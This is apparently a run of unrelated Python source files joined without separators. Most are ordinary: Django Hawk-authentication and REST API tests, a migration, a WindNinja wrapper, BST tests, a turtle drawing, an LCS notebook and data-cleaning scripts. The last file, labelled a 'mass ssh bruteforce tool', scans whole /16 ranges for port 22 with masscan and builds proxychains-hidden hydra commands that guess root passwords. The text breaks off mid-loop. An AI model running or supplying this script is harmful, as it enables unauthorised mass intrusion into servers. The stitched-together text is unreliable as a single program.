'Incorrect authentication credentials.'} def test_empty_object_returned_with_authentication_3_ips(self, api_client): """If the Authorization and X-Forwarded-For headers are correct, with an extra IP address prepended to the X-Forwarded-For then the correct, and authentic, data is returned """ sender = _auth_sender() response = api_client.get( _url(), content_type='', HTTP_AUTHORIZATION=sender.request_header, ) assert response.status_code == status.HTTP_200_OK assert response.json() == {'content': 'hawk-test-view-without-scope'} def test_empty_object_returned_with_authentication(self, api_client): """If the Authorization and X-Forwarded-For headers are correct, then the correct, and authentic, data is returned """ sender = _auth_sender() response = api_client.get( _url(), content_type='', HTTP_AUTHORIZATION=sender.request_header, ) assert response.status_code == status.HTTP_200_OK assert response.json() == {'content': 'hawk-test-view-without-scope'} @pytest.mark.django_db @pytest.mark.urls('datahub.core.test.support.urls') class TestHawkResponseSigningMixin: """Tests Hawk response signing when using HawkResponseMiddleware.""" def test_empty_object_returned_with_authentication(self, api_client): """If the Authorization and X-Forwarded-For headers are correct, then the correct, and authentic, data is returned """ sender = _auth_sender() response = api_client.get( _url(), content_type='', HTTP_AUTHORIZATION=sender.request_header, ) assert response.status_code == status.HTTP_200_OK # Just asserting that accept_response doesn't raise is a bit weak, # so we also assert that it raises if the header, content, or # content_type are incorrect sender.accept_response( response_header=response['Server-Authorization'], content=response.content, content_type=response['Content-Type'], ) with pytest.raises(mohawk.exc.MacMismatch): sender.accept_response( response_header='Hawk mac="incorrect", hash="incorrect"', content=response.content, content_type=response['Content-Type'], ) with pytest.raises(mohawk.exc.MisComputedContentHash): sender.accept_response( response_header=response['Server-Authorization'], content='incorrect', content_type=response['Content-Type'], ) with pytest.raises(mohawk.exc.MisComputedContentHash): sender.accept_response( response_header=response['Server-Authorization'], content=response.content, content_type='incorrect', ) def test_does_not_sign_non_hawk_requests(self): """Test that a 403 is returned if the request is not authenticated using Hawk.""" from rest_framework.test import force_authenticate factory = APIRequestFactory() user = create_test_user() view = HawkViewWithScope.as_view() request = factory.get('/test-hawk-with-scope/') force_authenticate(request, user=user) response = view(request) assert response.status_code == status.HTTP_403_FORBIDDEN assert response.data == { 'detail': 'You do not have permission to perform this action.', } @pytest.mark.django_db @pytest.mark.urls('datahub.core.test.support.urls') class TestHawkScopePermission: """Tests scoped-based permissions using HawkScopePermission.""" def test_denies_access_when_without_the_required_scope(self, api_client): """ Test that a 403 is returned if the request is Hawk authenticated but the client doesn't have the required scope. """ sender = _auth_sender( key_id='test-id-without-scope', secret_key='test-key-without-scope', url=_url_with_scope, ) response = api_client.get( _url_with_scope(), content_type='', HTTP_AUTHORIZATION=sender.request_header, ) assert response.status_code == status.HTTP_403_FORBIDDEN assert response.json() == { 'detail': 'You do not have permission to perform this action.', } def test_denies_access_if_not_authenticated_using_hawk(self): """Test that a 403 is returned if the request is not authenticated using Hawk.""" from rest_framework.test import force_authenticate factory = APIRequestFactory() user = create_test_user() view = HawkViewWithScope.as_view() request = factory.get('/test-hawk-with-scope/') force_authenticate(request, user=user) response = view(request) assert response.status_code == status.HTTP_403_FORBIDDEN assert response.data == { 'detail': 'You do not have permission to perform this action.', } def test_authorises_when_with_the_required_scope(self, api_client): """ Test that a 200 is returned if the request is Hawk authenticated and the client has the required scope. """ sender = _auth_sender( key_id='test-id-with-scope', secret_key='test-key-with-scope', url=_url_with_scope, ) response = api_client.get( _url_with_scope(), content_type='', HTTP_AUTHORIZATION=sender.request_header, ) assert response.status_code == status.HTTP_200_OK assert response.json() == {'content': 'hawk-test-view-with-scope'} def test_authorises_when_with_one_of_the_required_scopes(self, api_client): """ Test that a 200 is returned if the request is Hawk authenticated and the client has one of the required scope. """ sender = _auth_sender( key_id='test-id-with-multiple-scopes', secret_key='test-key-with-multiple-scopes', url=_url_with_scope, ) response = api_client.get( _url_with_scope(), content_type='', HTTP_AUTHORIZATION=sender.request_header, ) assert response.status_code == status.HTTP_200_OK assert response.json() == {'content': 'hawk-test-view-with-scope'} import json import pytest from src.database.budget import Budget from src.database.record import Record @pytest.fixture() def base_data(test_user): user, token = test_user Budget.query.delete() # delete all budgets Record.query.delete() # delete all records budget = Budget( # create base budget name="test budget", description="test description", start_date="2022-01-01", end_date="2022-12-31", initial_budget=100, user_id=user.id ) budget.save() record1 = Record( name="test record 1", category="entertainment", value=100, date="2022-06-01", extra_info="extra info 1", payment_type="card", place="test place", budget_id=budget.id ) record2 = Record( name="test record 2", category="entertainment", value=200, date="2022-06-01", extra_info="extra info 2", payment_type="card", place="test place", budget_id=budget.id ) record3 = Record( name="test record 3", category="entertainment", value=300, date="2022-06-01", extra_info="extra info 3", payment_type="card", place="test place", budget_id=budget.id ) record1.save() record2.save() record3.save() yield [user, token, budget, [record1, record2, record3]] # /record tests # GET tests def test_records_get(base_data, client): """Test if the records are properly received""" user, token, budget, base_record_list = base_data response = client.get('/records', headers={ 'Authorization': f'bearer {token}' # send access token with the petition }) assert response.status_code == 200 response_records = response.json assert len(response_records) == len(base_record_list) base_record = base_record_list[0].as_dict() assert base_record in response_records def test_records_get_no_token(base_data, client): """Check that the response is forbidden when the token is not sent""" client.cookie_jar.clear() # clear cookies before sending the request response = client.get('/records') assert response.status_code == 401 # POST tests def test_records_post(base_data, client): """Test that a new record can be created""" user, token, budget, base_record_list = base_data response = client.post('/records', json={ 'name': 'new budget', 'category': 'miscellaneous', 'value': 400, 'date': '2022-03-24', 'extraInfo': 'new extra info', 'paymentType': 'card', 'place': 'new place', 'budgetId': budget.id }, headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 201 all_records = Record.query.all() assert len(all_records) == len(base_record_list) + 1 new_record = response.json assert new_record.get('name') == 'new budget' def test_records_post_nonexistent_budget(base_data, client): """Test that the status code is 404 when the budget doesn't exist""" user, token, budget, base_record_list = base_data response = client.post('/records', json={ 'name': 'new budget', 'category': 'miscellaneous', 'value': 400, 'date': '2022-03-24', 'extraInfo': 'new extra info', 'paymentType': 'card', 'place': 'new place', 'budgetId': 'a697d7cf-71b5-46cf-9d28-18be27383777' }, headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 404 def test_records_post_invalid_budget(base_data, client): """Test that the status code is 400 when the budget ID is not a valid UUID""" user, token, budget, base_record_list = base_data response = client.post('/records', json={ 'name': 'new budget', 'category': 'miscellaneous', 'value': 400, 'date': '2022-03-24', 'extraInfo': 'new extra info', 'paymentType': 'card', 'place': 'new place', 'budgetId': '400' }, headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 400 def test_records_post_no_token(client): """Check that the response is forbidden when the token is not sent""" client.cookie_jar.clear() # clear cookies before sending the request response = client.post('/records') assert response.status_code == 401 def test_records_post_not_budget_owner(base_data, extra_user, client): """The status code is 403 when the user doesn't own the record""" user, token, budget, base_record_list = base_data user_extra, token_extra = extra_user # create a budget owned by another user external_budget = Budget( name="external budget", description="external description", start_date="2022-01-01", end_date="2022-12-31", initial_budget=100, user_id=user_extra.id ) external_budget.save() client.cookie_jar.clear() response = client.post('/records', json={ 'name': 'new budget', 'category': 'miscellaneous', 'value': 400, 'date': '2022-03-24', 'extraInfo': 'new extra info', 'paymentType': 'card', 'place': 'new place', 'budgetId': external_budget.id }, headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 403 # /record/:record_id tests # TODO test GET, PUT, DELETE methods, and check every possible error code # GET tests def test_record_get(base_data, client): """Test that a record can be obtained""" user, token, budget, base_record_list = base_data base_record = base_record_list[0] response = client.get(f'/records/{str(base_record_list[0].id)}', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 200 record = response.json assert json.dumps(record) == json.dumps(base_record.as_dict()) def test_record_get_no_token(client): """The response is forbidden when the token is not sent""" client.cookie_jar.clear() # clear cookies before sending the request response = client.get('/records/401') assert response.status_code == 401 assert 'invalid JWT' in json.dumps(response.json) def test_record_get_nonexistent(base_data, client): """The status code is 404 when the record does not exist""" user, token, budget, base_record_list = base_data response = client.get('/records/22968743-5e64-481d-a5d7-8cb46df035e5', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 404 def test_record_get_invalid_uuid(base_data, client): """The status code is 400 when the record ID is not a valid UUID""" user, token, budget, base_record_list = base_data response = client.get('/records/400', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 400 def test_record_get_not_owner(base_data, extra_user, client): """The status code is 403 when the user doesn't own the record""" user, token, budget, base_record_list = base_data user_extra, token_extra = extra_user # create a budget owned by another user external_budget = Budget( name="external budget", description="external description", start_date="2022-01-01", end_date="2022-12-31", initial_budget=100, user_id=user_extra.id ) external_budget.save() external_record = Record( name="external record 1", category="entertainment", value=100, date="2022-06-01", extra_info="external info 1", payment_type="card", place="external place", budget_id=external_budget.id ) external_record.save() client.cookie_jar.clear() response = client.get(f'/records/{str(external_record.id)}', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 403 # PUT tests def test_record_put(base_data, client): """Test that a record can be edited""" user, token, budget, base_record_list = base_data base_record = base_record_list[0] response = client.put(f'/records/{str(base_record_list[0].id)}', json={ 'name': 'updated name' }, headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 200 edited_record = response.json assert edited_record.get('name') == 'updated name' assert edited_record.get('value') == base_record.value def test_record_put_no_token(client): """The response is forbidden when the token is not sent""" client.cookie_jar.clear() # clear cookies before sending the request response = client.put('/records/401') assert response.status_code == 401 def test_record_put_nonexistent(base_data, client): """The status code is 404 when the record does not exist""" user, token, budget, base_record_list = base_data response = client.put('/records/22968743-5e64-481d-a5d7-8cb46df035e5', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 404 def test_record_put_invalid_uuid(base_data, client): """The status code is 400 when the record ID is not a valid UUID""" user, token, budget, base_record_list = base_data response = client.put('/records/400', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 400 def test_record_put_not_owner(base_data, extra_user, client): """The status code is 403 when the user doesn't own the record""" user, token, budget, base_record_list = base_data user_extra, token_extra = extra_user # create a budget owned by another user external_budget = Budget( name="external budget", description="external description", start_date="2022-01-01", end_date="2022-12-31", initial_budget=100, user_id=user_extra.id ) external_budget.save() external_record = Record( name="external record 1", category="entertainment", value=100, date="2022-06-01", extra_info="external info 1", payment_type="card", place="external place", budget_id=external_budget.id ) external_record.save() client.cookie_jar.clear() response = client.put(f'/records/{str(external_record.id)}', json={ 'name': 'external name' }, headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 403 # DELETE tests def test_record_delete(base_data, client): user, token, budget, base_record_list = base_data to_delete_record = base_record_list[0] response = client.delete(f'/records/{str(to_delete_record.id)}', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 204 all_records = Record.query.all() assert len(all_records) == len(base_record_list) - 1 assert json.dumps(to_delete_record.as_dict()) not in [json.dumps(record.as_dict()) for record in all_records] def test_record_delete_no_token(client): """The response is forbidden when the token is not sent""" client.cookie_jar.clear() # clear cookies before sending the request response = client.delete('/records/401') assert response.status_code == 401 def test_record__delete_nonexistent(base_data, client): """The status code is 404 when the record does not exist""" user, token, budget, base_record_list = base_data response = client.delete('/records/22968743-5e64-481d-a5d7-8cb46df035e5', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 404 def test_record_delete_invalid_uuid(base_data, client): """The status code is 400 when the record ID is not a valid UUID""" user, token, budget, base_record_list = base_data response = client.delete('/records/400', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 400 def test_record_delete_not_owner(base_data, extra_user, client): """The status code is 403 when the user doesn't own the record""" user, token, budget, base_record_list = base_data user_extra, token_extra = extra_user # create a budget owned by another user external_budget = Budget( name="external budget", description="external description", start_date="2022-01-01", end_date="2022-12-31", initial_budget=100, user_id=user_extra.id ) external_budget.save() external_record = Record( name="external record 1", category="entertainment", value=100, date="2022-06-01", extra_info="external info 1", payment_type="card", place="external place", budget_id=external_budget.id ) external_record.save() client.cookie_jar.clear() response = client.delete(f'/records/{str(external_record.id)}', headers={ 'Authorization': f'bearer {token}' }) assert response.status_code == 403backend_poa_admin/apps/DeterminacionForm/migrations/0001_initial.py # Generated by Django 2.0.7 on 2018-07-09 04:21 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('responsablesInformacion', '0001_initial'), ] operations = [ migrations.CreateModel( name='Datosformulario', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sigla', models.CharField(max_length=10)), ('codigo', models.IntegerField()), ('nombre_entidad', models.CharField(max_length=100)), ], options={ 'verbose_name_plural': 'Datosformulario', }, ), migrations.CreateModel( name='descripcion', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('descripcion', models.CharField(max_length=500)), ], options={ 'verbose_name_plural': 'Descripcion', }, ), migrations.CreateModel( name='objetivos_gestion', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('gestion', models.IntegerField()), ('fecha', models.DateField()), ('resultados_esperados', models.CharField(max_length=100)), ('beneficiarios', models.CharField(choices=[('EA', 'Estudiantes Afiliados'), ('EG', 'Estudiantes en General')], default='Beneficiarios', max_length=30)), ('responsableInformacion', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='responsablesInformacion.unidad')), ], options={ 'verbose_name_plural': 'Objetivos de Gestion', }, ), migrations.AddField( model_name='descripcion', name='objetivos_gestion', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='DeterminacionForm.objetivos_gestion'), ), ] USDA-ARS-NWRC/katana import logging import subprocess class WindNinja: """Class that wraps the `WindNinja_cli`. Meant to facilitate a single run of WindNinja """ def __init__(self, config, wn_cfg_file): """[summary] Arguments: config {dict} -- dictionary of config options from the `wind_ninja` section wn_cfg_file {str} -- name of the configuration file that will be passed to the `WindNinja_cli` """ self._logger = logging.getLogger(__name__) self.config = config self.wn_cfg_file = wn_cfg_file self.make_wn_cfg() def make_wn_cfg(self): """ Write the config file options for the WindNinja program Result: Writes WindNinja config file """ # write each line to config self._logger.info('Creating file {}'.format(self.wn_cfg_file)) with open(self.wn_cfg_file, 'w') as f: for k, v in self.config.items(): f.write('{} = {}\n'.format(k, v)) def run_wind_ninja(self): """ Create the command line call to run the WindNinja_cli """ # construct call action = 'WindNinja_cli {}'.format(self.wn_cfg_file) # run command line using Popen self._logger.info('Running "{}"'.format(action)) with subprocess.Popen( action, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True ) as s: # WindNinja may not push errors to stderr so it's # hard to capture them properly and stream the results # Here, we will stream to the debug and store all the # output. Then write to error if WindNinja exits without # a 0 code. output = [] for line in iter(s.stdout.readline, ""): self._logger.debug(line.rstrip()) output.append(line.rstrip()) # if errors then create an exception return_code = s.wait() if return_code: for line in output: self._logger.error(line) raise Exception('WindNinja has an error') return False return True from rdflib import Graph ch = Graph() ch.parse("ch_linkedJazz.nt", format="nt") lj = Graph() lj.parse("lj_data.nt", format="nt") matches = [] len(ch) # prints 2 import pprint for s,p,o in ch: #print(s) for a,b,c in lj: if o==a: if o not in matches: matches.append(o) #print(len(matches)) slist = [] for s,p,o in ch: if o in matches: slist.append(s) g = Graph() for s,p,o in ch: if s in slist: g.add((s,p,o)) g.serialize("ch_lj_matches.nt", format='nt')jay-tyler/data-structures import pytest from dtypes.bst import BST, Node from uuid import uuid4 from random import randint @pytest.fixture def filled_tree(): A = Node(6) a = BST() a.root = A A.left = 4 A.right = 7 A.left.left = 3 A.left.right = 5 A.right.right = 8 a._size = 6 return a @pytest.fixture def uneven_tree(): A = Node(6) a = BST() a.root = A A.left = 4 A.right = 7 A.left.left = 3 A.left.right = 5 A.right.right = 8 A.right.right.right = 9 A.right.right.right.right = 10 a._size = 6 return a def test_find(): assert BST()._find(42) is None aBST = BST(20) assert aBST._find(5) == aBST.root assert aBST._find(101) == aBST.root def test_insert(): aBST = BST() nums = [4, 2, 6, 1, 3, 5, 7] for num in nums: aBST.insert(num) r = aBST.root nodes = [r, r.left, r.right, r.left.left, r.left.right, r.right.left, r.right.right] parent_vals = [None, 4, 4, 2, 2, 6, 6] left_child_vals = [2, 1, 5, None, None, None, None] right_child_vals = [6, 3, 7, None, None, None, None] for node, self_val, p_val, lc_val, rc_val in zip(nodes, nums, parent_vals, left_child_vals, right_child_vals): assert node.val == self_val if node.parent is not None: assert node.parent.val == p_val if node.left is not None: assert node.left.val == lc_val if node.right is not None: assert node.right.val == rc_val def test_val_exists(filled_tree): for num in [3, 4, 5, 6, 7, 8]: filled_tree.insert(num) assert filled_tree.size == 6 def test_size(): aBST = BST() assert aBST.size == 0 for num, size in zip([6, 2, 8, 4, 1000, -111], [1, 2, 3, 4, 5, 6]): aBST.insert(num) assert aBST.size == size for x in range(2000): aBST.insert(uuid4()) assert aBST.size == 2006 def test_balance(): aBST = BST() assert aBST.balance() == 0 for num, bal in zip([4, 2, 6, 3, 7, 8, 9, 10, 11], [0, 1, 0, 1, 0, -1, -2, -3]): aBST.insert(num) assert aBST.balance() == bal def test_lr_levels(): aBST = BST() assert aBST._lr_levels() == None for num, level in zip([4, 2, 6, 1, 3, 5, 7], [(0, 0), (1, 0), (1, 1), (2, 1), (2, 1), (2, 2), (2, 2)]): aBST.insert(num) assert aBST._lr_levels() == level aBST = BST() for x in range(20): aBST.insert(x) assert aBST._lr_levels() == (0, 19) def test_depth(): aBST = BST() assert aBST.depth() == 0 for num, depth in zip([4, 2, 6, 3, 7, 8, 9, 10, 11], [1, 2, 2, 3, 3, 4, 5, 6, 7]): aBST.insert(num) assert aBST.depth() == depth def test_contains(filled_tree): t, f = True, False for num, valid in zip([6, 4, 7, 3, 5, 8, 0, 12, 7.5, 2], [t, t, t, t, t, t, f, f, f, f]): assert filled_tree.contains(num) is valid def test_pre_order(filled_tree): assert list(BST().pre_order()) == [] assert list(BST(1).pre_order()) == [1] assert list(filled_tree.pre_order()) == [6, 4, 3, 5, 7, 8] def test_in_order(filled_tree): assert list(BST().in_order()) == [] assert list(BST(1).in_order()) == [1] assert list(filled_tree.in_order()) == [3, 4, 5, 6, 7, 8] def test_post_order(filled_tree): assert list(BST().post_order()) == [] assert list(BST(1).post_order()) == [1] assert list(filled_tree.post_order()) == [3, 5, 4, 8, 7, 6] def test_breadth_first(filled_tree): assert list(BST().breadth_first()) == [] assert list(BST(1).breadth_first()) == [1] assert list(filled_tree.breadth_first()) == [6, 4, 7, 3, 5, 8] def test_del_node_with_two_children(filled_tree): assert filled_tree.contains(6) is True filled_tree.delete(6) assert filled_tree.contains(6) is False def test_del_node_with_one_child(uneven_tree): assert uneven_tree.contains(8) is True uneven_tree.delete(8) assert uneven_tree.contains(8) is False def test_del_node_with_no_children(filled_tree): assert filled_tree.contains(8) is True filled_tree.delete(8) assert filled_tree.contains(8) is False def test_del_all(filled_tree, uneven_tree): for num in [3, 4, 5, 6, 7, 8]: filled_tree.delete(num) assert filled_tree.contains(num) is False for num in [3, 4, 5, 6, 7, 8, 9, 10]: uneven_tree.delete(num) assert uneven_tree.contains(num) is False def test_make_balanced(uneven_tree): assert uneven_tree.balance() == -2 uneven_tree.make_balanced() assert uneven_tree.balance() == 0 def test_make_balanced_randomly(): aBST = BST() for y in range(300): for x in range(1000): aBST.insert(randint(0, 1000)) aBST.make_balanced() b = aBST.balance() assert b in [1, 0, -1] Michael8968/skulpt import turtle turtle.seth(90)#海龟头朝向北方 a=100#声明变量a b=80#声明变量b turtle.forward(a) turtle.dot(b,'red')#第一个气球 turtle.pu() turtle.goto(-200,-100) turtle.pd() turtle.forward(a) turtle.dot(b,'pale green')#第二个气球 turtle.pu() turtle.goto(-300,100) turtle.pd() turtle.forward(a) turtle.dot(b,'pink')#第三个气球 turtle.pu() turtle.goto(100,-100) turtle.pd() turtle.forward(a) turtle.dot(b,'light blue')#第四个气球 turtle.done()#按下x关闭窗口chhatarshal/MachineLearningPractice #!/usr/bin/env python # coding: utf-8 # In[1]: input = { 'seq1' :'abcd', 'seq2' : 'ab' } output = 2 # In[2]: def get_LongestCommonSequence(seq1, seq2, inx1 = 0, inx2 = 0): if len(seq1) == inx1: return 0 if len(seq2) == inx2: return 0 if seq1[inx1] == seq2[inx2]: return 1 + get_LongestCommonSequence(seq1, seq2, inx1+1, inx2+1) return max(get_LongestCommonSequence(seq1, seq2, inx1+1, inx2), get_LongestCommonSequence(seq1, seq2, inx1, inx2+1)) # In[3]: get_LongestCommonSequence(input['seq1'], input['seq2']) # In[4]: input = { 'seq1' :'32342342', 'seq2' : '343243433' } # In[5]: get_LongestCommonSequence(input['seq1'], input['seq2']) # In[6]: input = { 'seq1' :'india', 'seq2' : 'iia' } # In[7]: get_LongestCommonSequence(input['seq1'], input['seq2']) # In[ ]: prakharrke/SentimentAnalysis import sys import pandas as pd from sqlalchemy import create_engine def load_data(filepath): ''' input: messages_filepath: The path of messages dataset. categories_filepath: The path of categories dataset. output: df: The merged dataset ''' df = pd.read_csv(filepath) return df def clean_data(df, sample_size): ''' input: df: The merged dataset in previous step. sample_size: Size of the sample needed output: df: Dataset after cleaning. ''' df.columns = ['rating', 'title', 'text'] reduced_sample = sample_size//2 print('reduced sample ' , reduced_sample) df_sam = df[df.rating < 3].sample(n=reduced_sample, random_state=42) df_sam = pd.concat([df_sam, df[df.rating > 3].sample(n=reduced_sample, random_state=42)]) df_sam.columns = ['rating', 'title', 'text'] df_sam.rating = df_sam.rating.apply(convertToLabel) return df_sam def save_data(df, database_filename, table_name): ''' Input: df: dataset database_filename: name of the file you want the database file to be created with table_name: name of the table in the database for given dataset ''' engine = create_engine('sqlite:///' + database_filename) df.to_sql(table_name, engine, index=False) def convertToLabel(rating) : ''' Input: rating output: label with respect to the rating value ''' if rating > 3 : return 'Positive' else : return 'Negative' def main(): if len(sys.argv) == 4: train_filepath, test_filepath, database_filepath = sys.argv[1:] print('Loading data...\n Train: {}\n Test: {}' .format(train_filepath, test_filepath)) df_train = load_data(train_filepath) df_test = load_data(test_filepath) print('Cleaning data...') df_train_sam = clean_data(df_train, 60000) print("train shape ", df_train_sam.shape) df_test_sam = clean_data(df_test, 12000) print("test shape ", df_test_sam.shape) print("train distribution ", df_train_sam.rating.value_counts()) print("test distribution ", df_test_sam.rating.value_counts()) print('Saving data...\n DATABASE: {}'.format(database_filepath)) save_data(df_train_sam, database_filepath, 'reviews_train') save_data(df_test_sam, database_filepath, 'reviews_test') print('Cleaned data saved to database!') else: print('Please provide the filepaths of the messages and categories '\ 'datasets as the first and second argument respectively, as '\ 'well as the filepath of the database to save the cleaned data '\ 'to as the third argument. \n\nExample: python process_data.py '\ 'disaster_messages.csv disaster_categories.csv '\ 'DisasterResponse.db') if __name__ == '__main__': main()test/test_user.py0 import unittest import requests import argparse import logging import json import random, string URL = 'http://127.0.0.1:5000/api' def randomname(length): chars = string.ascii_lowercase return ''.join(random.choice(chars) for i in range(length)) class get_user_test(unittest.TestCase): def setUp(self): print("----------Running get_user_test----------") headers = {"Content-type": "application/json"} data = {"username": "admin", "password": ""} login_response = requests.post(URL+"/user-login", headers=headers, data=json.dumps(data)) self.auth_cookies={"access_token_cookie":login_response.cookies.get("access_token_cookie"), "refresh_token_cookie":login_response.cookies.get("refresh_token_cookie")} response = requests.get(URL+"/users", cookies=self.auth_cookies) users = response.json().get('users') self.user_id = users[0]['_id'] def test_get_user(self): response = requests.get(URL+"/users/"+self.user_id, cookies=self.auth_cookies) self.assertEqual(response.status_code, 200) def test_get_user_fail_id(self): response = requests.get(URL+"/users/"+self.user_id+"1", cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_get_user_fail_no_atuh(self): response = requests.get(URL+"/users/"+self.user_id,) self.assertEqual(response.status_code, 401) class delete_user_test(unittest.TestCase): def setUp(self): print("----------Running delete_users_test----------") headers = {"Content-type": "application/json"} data = {"username": "admin", "password": ""} login_response = requests.post(URL+"/user-login", headers=headers, data=json.dumps(data)) self.auth_cookies={"access_token_cookie":login_response.cookies.get("access_token_cookie"), "refresh_token_cookie":login_response.cookies.get("refresh_token_cookie")} headers = {"Content-Type": "application/json",} data = { "username": randomname(10), "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } response = requests.post(URL+"/users", headers=headers, data=json.dumps(data)) response = requests.get(URL+"/users", cookies=self.auth_cookies) users = response.json().get('users') self.user_id = users[1]['_id'] def test_delete_user_fail_no_auth(self): response = requests.delete(URL+"/users/"+self.user_id) self.assertEqual(response.status_code, 401) def test_delete_user_bad_id(self): response = requests.delete(URL+"/users/"+self.user_id+"1", cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_delete_user(self): response = requests.delete(URL+"/users/"+self.user_id, cookies=self.auth_cookies) self.assertEqual(response.status_code, 200) get_response = requests.get(URL+"/users/"+self.user_id, cookies=self.auth_cookies) self.assertEqual(get_response.status_code, 400) class patch_user_test(unittest.TestCase): def setUp(self): print("----------Running patch_users_test----------") headers = {"Content-type": "application/json"} data = {"username": "admin", "password": ""} login_response = requests.post(URL+"/user-login", headers=headers, data=json.dumps(data)) self.auth_cookies={"access_token_cookie":login_response.cookies.get("access_token_cookie"), "refresh_token_cookie":login_response.cookies.get("refresh_token_cookie")} response = requests.get(URL+"/users", cookies=self.auth_cookies) users = response.json().get('users') self.user_id = users[0]['_id'] self.user = users[0] def test_patch_user_fail_no_auth(self): headers = {"Content-type": "application/json"} response = requests.patch(URL+"/users/"+self.user_id,headers=headers, data=json.dumps(self.user)) self.assertEqual(response.status_code, 401) def test_patch_user_fail_no_data(self): headers = {"Content-type": "application/json"} response = requests.patch(URL+"/users/"+self.user_id,headers=headers,cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_username(self): headers = {"Content-type": "application/json"} data = { "username": randomname(10), "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_extra(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } data['extra'] = 'extra' response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_password_short(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } data['password'] = "s" response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_password_long(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } data['password'] = "" response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_preferred_wrong(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } data['preferred_channel'] = "wrong" response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_no_email(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } del data['channels']['email'] response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_no_telegram(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } del data['channels']['telegram'] response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user_fail_no_irc(self): headers = {"Content-type": "application/json"} data = { "password":"password", "preferred_channel":"email", "channels":{ "email": { "address":""}, "telegram": { "user_id": "testi"}, "irc": { "nickname":"testi", "network":"testi"} } } del data['channels']['irc'] response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 400) def test_patch_user(self): headers = {"Content-type": "application/json"} data = { "password":"", "preferred_channel":"email", "channels":{ "email": { "address":"Thishaschanged"}, "telegram": { "user_id": "test"}, "irc": { "nickname":"test", "network":"testnetwork"}, } } response = requests.patch(URL+"/users/"+self.user_id,headers=headers,data=json.dumps(data),cookies=self.auth_cookies) self.assertEqual(response.status_code, 200) get_response = requests.get(URL+"/users/"+self.user_id,cookies=self.auth_cookies) self.assertEqual(get_response.status_code, 200) self.assertEqual(get_response.json().get("User").get("preferred_channel"), data.get("preferred_channel")) self.assertEqual(get_response.json().get("User").get("channels"), data.get("channels")) if __name__ == "__main__": unittest.main()#sshnuke - mass ssh bruteforce tool #by mori import subprocess import shlex nets = ["172.16.17.32", "172.16.31.10"] for ip in nets: command = 'masscan ' + ip + '/16 ' + ' -p 22 ' + ' -oL scan.lst' execute = shlex.split(command) print("EXECUTING MASSCAN: ", execute) subprocess.call(execute) with open("scan.lst") as f: lines = f.readlines() for line in lines: scanline = "proxychains hydra -l root -P brute.txt -o results.txt" if line.find('tcp') > 0: line = line.replace('open', '') line = line.replace('tcp', '') line = line.replace('22', '') 